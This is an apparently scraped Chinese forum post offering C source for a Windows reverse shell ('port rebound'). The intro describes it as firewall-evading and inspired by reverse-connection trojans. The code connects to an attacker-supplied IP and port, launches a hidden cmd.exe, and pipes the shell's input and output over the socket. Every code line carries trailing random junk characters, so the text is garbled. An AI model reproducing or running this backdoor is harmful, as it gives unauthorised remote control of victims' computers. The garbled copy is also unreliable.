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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .sCi9d WR  
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/* ============================== X] cI ?  
Rebound port in Windows NT jzt$  
By wind,2006/7 aAJ'0xnj  
===============================*/ JO{Rth  
#include WCJ$S\#  
#include QU{|S.\  
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#pragma comment(lib,"wsock32.lib") >LS*G qjq  
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void OutputShell(); tj<a , l  
SOCKET sClient; [Tmpj9! q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `_M*2(rt  
W{'RR.  
void main(int argc,char **argv) !0p_s;uu,W  
{ t|XQFb@}  
WSADATA stWsaData; fR]%:'2k  
int nRet; (nL''#Ka  
SOCKADDR_IN stSaiClient,stSaiServer; @'XxMO[Z!<  
~ A?  
if(argc != 3) w&VMb&<  
{ cVk&Yp;[*  
printf("Useage:\n\rRebound DestIP DestPort\n"); b9FfDDOq"  
return; fdk]i/*)  
} H & L  
AXBf\ )[  
WSAStartup(MAKEWORD(2,2),&stWsaData); iY_E"$}P  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I#?NxP\S  
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stSaiClient.sin_family = AF_INET; 98"/]ERJ  
stSaiClient.sin_port = htons(0); [R-&5 G!x  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); GO3F[ l  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) EkWipF(  
{ Wg\`!T  
printf("Bind Socket Failed!\n"); &\[3m^L  
return; =XbOY[  
} PH$fDbC8  
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stSaiServer.sin_family = AF_INET; 3"9'MDKH  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); GP|G[  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ur*@TIvD  
(`nn\)  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 35>VCjCw0  
{ Ro1b (+H  
printf("Connect Error!"); dG {D2~#  
return; 9#C hn~ \  
} e(t,~(  
OutputShell(); ~ 8hAmM  
} o'uv5asdb  
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void OutputShell() {Ftz4y)6  
{  +=Xgi$  
char szBuff[1024]; 02|f@bP.  
SECURITY_ATTRIBUTES stSecurityAttributes; Gn+3OI"  
OSVERSIONINFO stOsversionInfo; $mS] K!\  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 39j "z8 n  
STARTUPINFO stStartupInfo; |gl~wG1@  
char *szShell; !+Ia#(  
PROCESS_INFORMATION stProcessInformation; \:`'!X1*U  
unsigned long lBytesRead; r&qF v)0!`  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <|,0%bq)|  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); P8Nzz(JF  
stSecurityAttributes.lpSecurityDescriptor = 0; XnBpL6"T`  
stSecurityAttributes.bInheritHandle = TRUE; Ry5/O?Q L  
`F)Q=  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);  3)5Gzn  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6L`{oSX!  
Q $wa<`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _!m_s5{  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N9lCbtn(0x  
stStartupInfo.wShowWindow = SW_HIDE; j9sK P]w  
stStartupInfo.hStdInput = hReadPipe; ?hW?w$C  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7hQf T76h  
f(Hh(  
GetVersionEx(&stOsversionInfo); Lbo8> L(  
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switch(stOsversionInfo.dwPlatformId) v\LcZt`}  
{ m@qM|%(0x  
case 1: Qf?5"=:#  
szShell = "command.com"; 0H|U9  
break; ve#*qz Y  
default: lP9XqQ(  
szShell = "cmd.exe"; iymOq9  
break; JjH#,@'.  
} {u/G!{N$  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); u!iBAr5  
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send(sClient,szMsg,77,0); ubq4Zv7'   
while(1) (6Ssk4  
{ *Ey5F/N}$H  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,(%?j]_P2  
if(lBytesRead) <4caG2~q  
{ 7.-g=Rcz  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ZjlFr(  
send(sClient,szBuff,lBytesRead,0); cy0 %tsB|  
} \ow3_^Bk  
else u9d4zR  
{ bo;;\>k  
lBytesRead=recv(sClient,szBuff,1024,0); Cd>GY  
if(lBytesRead<=0) break; x2 s%qZ#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1-HL#y*7$  
} }]8n3&*  
} D/T& 0  
HkGA$  
return; H,/|pP.  
}
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